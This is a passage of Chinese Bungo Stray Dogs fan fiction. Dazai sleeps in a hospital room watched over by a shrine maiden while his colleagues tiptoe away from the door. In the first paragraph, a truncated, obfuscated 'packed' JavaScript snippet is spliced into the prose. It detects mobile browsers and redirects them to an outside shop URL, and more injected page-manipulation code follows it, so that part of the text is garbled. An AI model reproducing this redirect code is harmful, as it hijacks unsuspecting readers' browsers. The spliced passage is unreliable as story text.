太宰治闭上了眼睛,灵力带来的舒缓让他的身体终于可以放松了,放松之后,积压的疲惫像潮水一样涌上来,把意识淹没了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471702|201515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的呼吸变得均匀而绵长,胸膛缓慢地起伏着。 我维持着灵力的输出,手悬在他肩膀上方,不敢放下,不敢收回,怕收回的瞬间,那些被灵力隔开的黑色颗粒就会重新接触到神经末梢,疼痛就会涌回来,把他从浅眠中拽醒。 时间一分一秒地过去,我的手臂开始发酸,灵力也在持续消耗,丹田里的能量在一点一点地减少,像沙漏里的沙子,无声无息地往下坠。 但我没有收回,也许是因为灵力消耗过度,意识有些模糊,我在不知不觉中趴在了床边,额头枕在自己的手臂上,长发散落下来,盖住了半边脸。 太宰治在浅眠中醒来,他微微侧头。 他看到铃鹿琉璃趴在床边。 她的眉头是微微皱着的。 太宰治看着她,伸出那只没有受伤的、没有缠绷带的手,手指穿过她散落的长发,轻轻地落在她的发顶。 门外。 国木田独步和中岛敦站在走廊上。 国木田手里提着一个塑料袋,里面装着水果和换洗衣物,是他特意回侦探社取的。敦手里提着一个纸袋,里面是从便利店买的饭团和茶,也是他特意绕路去买的。 他们站在302病房的门口,正准备推门。 然后国木田的手停在了门把手上。 因为门没有关严,从缝隙里可以看到,太宰治侧着头,看着趴在床边睡着的巫女。 他的手放在她的发顶。 国木田僵住了。 敦也僵住了。 两个人像被施了定身术一样,保持着伸手推门的姿势,一动不动。 塑料袋的提手从国木田的手指间滑落了一点,发出细微的窸窣声。他赶紧握紧,但那个声音已经传出去了。 不过病房里的人没有听到,或者说,听到了也没有在意。 因为太宰治的目光没有从琉璃身上移开。 国木田和敦对视了一眼。 国木田的表情是:“怎么办?” 敦的:“……我不知道怎么办。” 国木田的表情变成:“那我们——” “嘘——” 一个声音从他们身后传来,带着美味棒咬碎的咔嚓声。 江户川乱步不知道什么时候出现在了走廊上,嘴里叼着一根美味棒,一手一个,按住了国木田和敦的肩膀。 “现在进去,”乱步压低声音,“可是会破坏难得的美好时光哦。” 他眨了眨眼,露出一个狡猾笑容。 然后他转过身,一手推着国木田的后背,一手推着敦的后背,轻手轻脚地把两个呆若木鸡的人从病房门口拖走了。 走廊的灯光下,三个人的影子在地面上被拉得老长。 国木田走了几步,终于找回了自己的声音,用气音说:“乱步先生,您早就知道了?” “知道什么?”乱步的声音从美味棒的包装纸后面传出来,含糊但愉悦。 “就是……那个……” “国木田君,”乱步停下脚步,转过头,用一种“你是真不懂还是装不懂”的眼神看着他,“你觉得太宰那种人,会随随便便让人在床边睡着吗?” 国木田张了张嘴。 “你觉得太宰那种人,会随随便便把手放在别人头上吗?” 国木田沉默了。 乱步满意地点了点头,咬了一口美味棒:“所以,现在进去,破坏的不是‘美好时光’——” “破坏的是,太宰好不容易才承认的、某件他花了很长时间都不肯承认的事情。” 江户川乱步回头看了一眼302病房的方向,目光透过镜片,穿过走廊,穿过那道没有关严的门缝,落在月光下的两个人身上。 他笑了一下,然后转身,拍了拍国木田和敦的肩膀。 “走吧,”他说,“现在是属于他们两个人的。”